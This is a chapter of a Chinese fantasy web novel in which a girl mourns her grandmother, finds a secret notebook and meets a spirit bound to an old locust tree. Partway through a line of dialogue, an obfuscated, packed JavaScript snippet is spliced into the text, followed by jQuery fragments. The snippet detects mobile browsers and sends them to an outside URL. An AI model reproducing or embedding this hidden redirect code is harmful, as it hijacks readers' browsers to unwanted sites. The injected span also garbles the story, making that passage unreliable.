开花奶奶走的那年秋天，江晚桐十一岁。
那年槐花开得有些反常，春末开过一次，到了九月又零零星星冒出些花苞来，没几日便又落了。
开花奶奶坐在院子里，低头望着散落一地的花瓣，说老槐树通人性，来送她了。
晚桐听着，立时就红了眼圈搂着开花奶奶说别走，阿檀做的饭隔壁大黄都不吃的，奶奶走了我要饿肚子了。
开花奶奶伸出手轻轻摸了摸她的头发，没说话，那手瘦得没丁点儿肉，手背上的皮肤薄得能瞧见青色的血管。
“晚桐，这世上有些事值得我们用一辈子去等。”
“能不能等到是一回事，但是不等，就永远等不到了。”
“等了，便不算白等，这个过程本身就是答案了。”
江晚桐似懂非懂，奶奶靠在她肩上。
她原先都不知道奶奶这么瘦这么轻，好像一阵风就能把她带走。
奶奶平静地望着村口，望着村口的那条弯弯曲曲的道路，望着那山的尽头，说着一件再寻常不过的事。
开花奶奶病了有段时日了，但也病的突然。
春天还能下地干活，过了夏天便开始咳血。
阿檀去请了镇上的郎中开了药，一天三顿当饭吃却总不见好。
郎中说老太太身子亏空，只能好好休息慢慢将养。
加上开花奶奶自己本就精通医术，晚桐跟着学都学了十成有八。
但医者不自医，开花奶奶自己不瞧，也不让晚桐给她瞧，总说年纪大了，休息休息便好。
精神好一点，便把晚桐和阿檀叫到跟前，讲她年轻时走过的地方，讲南边有一座白墙的城，讲西边有一座红色的山，讲东边有一片发光的海，讲北边她没去过燕朔，那是我们的敌国。
“奶奶，你去过那么多地方，为什么后来留在这里了？”
“因为这棵槐树在这里，我得守着它，等一个结果。”
等什么结果，开花奶奶没有说。
开花奶奶在一个起风的傍晚走了。
她原本一直睡在床上，忽然像来了精神睁开眼睛，阿檀扶她坐起来，晚桐喂她喝了小半碗粥，她还跟晚桐和阿檀讲了几句话。
末了，她说：“阿檀，你去把窗户打开透透气。”
阿檀去开了窗，风吹进来，开花奶奶闭上眼睛轻轻地闻了闻，便再也没睁开。
“晚桐，奶奶的花落了。”
晚桐跪在床前，她不知道该做什么，也哭不出来，就静静看着奶奶的手垂落在床沿。
然后她发现奶奶好像在指着哪里。
她顺着那手指的方向看过去，是院外村口的老槐树。
直到阿檀转过身来发现奶奶走了放声大哭起来，晚桐才像被解了穴一样抽泣起来。
隔壁石头娘听见动静，放下手中的活计就跑过来。
刚走到屋门口，就看见半躺着一动不动的开花奶奶。
又瞧见晚桐她们两个小丫头在旁哭得上气不接下气。
登时明白过来，忙唤石头去村里喊人帮忙。
入殓那天，晚桐让阿檀去帮忙，自己走进奶奶的房间。
屋子里还是奶奶活着时的样子。
桌台上还搁着那个药碗，药渣还沉在碗底。
她把奶奶的床铺铺好抚平，瞧见枕头底下露出一角泛黄的纸页。
她取出来发现是一本起了毛边的册子。
这本册子她认得，奶奶从前经常在上面写东西，她还说奶奶是在背着她写小秘密。
奶奶也只是笑笑说记些要紧的事，年纪大了怕忘了。
许是翻多了，她一翻开就是一张涂了墨点的一页。
那明显是涂黑了几个字，滴落的墨迹应是炸开的，这几个墨点边缘光滑，底下还漏了几笔出来。
她将纸页对着窗外的光，隐约能看见点“怀”字的轮廓。
其他地方被涂得太黑，完全看不清是什么。
她紧张地朝周围扫了一圈，迅速把册子塞进怀里，关上门出去了。
下葬那天风很大，黑色的云压得很低，天像是要整个盖下来。
村里男女老少只要走得动道的都来了，穿着黑的白的素色衣服，整整齐齐站了几排。
江晚桐在最前面，跪在坟前规规矩矩磕了三个头。
这几日晚桐也不知是怎么过的，直到额头触碰到地面的冰凉，她才如梦初醒。
忽然想起，开花奶奶走的前一天，同她讲的话。
那天夜里阿檀睡着了，屋里只有她一个人。
她悄悄从被窝里爬起来，摸到奶奶床边，奶奶还没睡，斜靠在床头，不知道在想什么。
开花奶奶看见晚桐进来，拍拍身边让晚桐坐过来。
晚桐缩在奶奶怀里，她听到奶奶的声音又干又哑：
“他们杀我，说明查对了。”
“奶奶，是谁？”
“晚桐，你什么都别查，平安活着……”
现在开花奶奶走了，晚桐不知道奶奶在查什么。
趁着阿檀睡熟，她打开门走到老槐树下。
月亮被云遮去大半，老槐树就静静地伫立在黑暗中。
她把耳朵贴在树干上，粗糙的树皮硌着脸疼。
但除了风声，她没听到其他任何声音。
奶奶，你到底在查什么？
是你一直在等的那个人吗？
她摸了摸老槐树粗糙的树干，指尖忽然一阵剧痛，不知被树皮还是什么划了一道口子。
血迅速渗进树皮的纹路，眨眼间便消失了，然后脚下的地面微微震了震。
她看见从老槐树的阴影里凝出一道极淡的人影。
那是一个年轻男人的轮廓，白衣翩翩，面容清瘦，眉眼间带着一种与世隔绝的疏离，他同一团雾气般站在距她三步之外的地方，好像随时都会被风吹散似的。
“阿予，我奶奶她走了，再也不会回来了。”
“嗯。”
“她说她查对了，你知道她在查什么？”
白若予扫了她一眼，那一眼同照在石头上的月光一般，没有任何感情。
“不知。”
“阿予……开花奶奶在等人，你也在等，你们等的是同一人么？”
“不，我等阿渊，回来。”
他的声音里有极细微的情绪波动，像冰面下裂开一道缝。
“阿渊，是谁？”
他不说话了，那道白色的影子也一点点淡去。
直到完全消失，晚桐才又听到白若予说：
“阿渊……你不是他，但你流的血和他一样。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533595|203756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
她没听懂，之前也没听说过阿渊。
能让白若予等了这么久的，总该不是什么凡人罢，这不是她能操心的事。
她转身回去，瞧见阿檀披着衣裳站在村口的路边，远远望着她。
也不知道阿檀是何时醒的，又站在那里望了多久。
看见她回身，阿檀走过来，把披风搭在她肩上，什么也没问。
回去以后，她没点灯，就着月光把册子又翻了一遍。
前面记着草药方子和星图观测之类，有些字迹歪歪扭扭，估摸是奶奶在外一时没找到桌子，用手托着写的。
其中有一页夹着一片干枯的海棠花瓣。
花瓣底下是一行极小的字，不是奶奶的笔迹，字迹清隽。
“邹牧尘，燕朔口音，左手有疤。”
第二日清晨，宋芸华到了。
她收到信便从岚城连夜赶来，一路风尘仆仆。
眼睛红肿，跪在开花奶奶的坟前磕了三个头。
“你父亲不久前调任岚城，我给开花奶奶来了信，她回信只说身子不好了，让我来接你。”
“我接到信紧赶慢赶，还是没见到最后一面。”
“现下宅子已经安置好了，我来接你回家。”
“晚桐，你可怪我？”
江晚桐抬起头：“好，阿檀同我一起。”
母亲看了一眼站在门边的阿檀，点头道：“自是要一同回家的。”
阿檀随母亲进屋收拾行装，晚桐独自又去到老槐树下。
晨雾还没散，老槐树的枝叶在雾中影影绰绰。
她把那本册子放进开花奶奶留下的一个木盒里，置于老槐树下面。
“阿予，麻烦您帮我守着，我日后会来取。”
“好。”
“但你臂上的疤，会疼。”
她一愣，低头看向自己的手臂，那道旧疤安安静静，没有任何异样。
她转身走出十步远，抬手摸了摸那道疤，指尖触上去的时候，一种钝钝的痛忽然从皮肤底下泛上来。
确实有些疼，她回头望向那棵老槐树。
晨雾里一道白色的影子立在树下，正望着她。
隔着雾她看不清他的表情，只觉得那道目光极淡极静，像没有融化的冰。
思君如百草，零落待春风。
奶奶等了一辈子，不知等到她要的结果没有。
马车驶出村口时，江晚桐掀开车帘，最后看了一眼那棵立在晨光里的老槐树。
它纹丝不动，像一个沉默的送行者。
马车颠了一下，手臂上的疤忽然又不疼了。
她摸了摸自己的疤，感觉到底下有极细微的搏动，像什么东西正在皮肉之下开始苏醒。
她不知道那是什么。
但她知道，开花奶奶用命换来的秘密就藏在那本册子里，她还不敢带走。
她掀开车帘，要离开茫崖村，离开中州，去往岚城，去到那座南方的城。
父亲在那里，在那里等她回家。
阿檀坐在她对面，一路无话，瞧瞧窗外又瞧瞧她。
小姐，不管你去哪里，我都在。
马车驶上官道，扬起的尘土遮住了来路。
老槐树在身后越来越远，终于消失在地平线之下。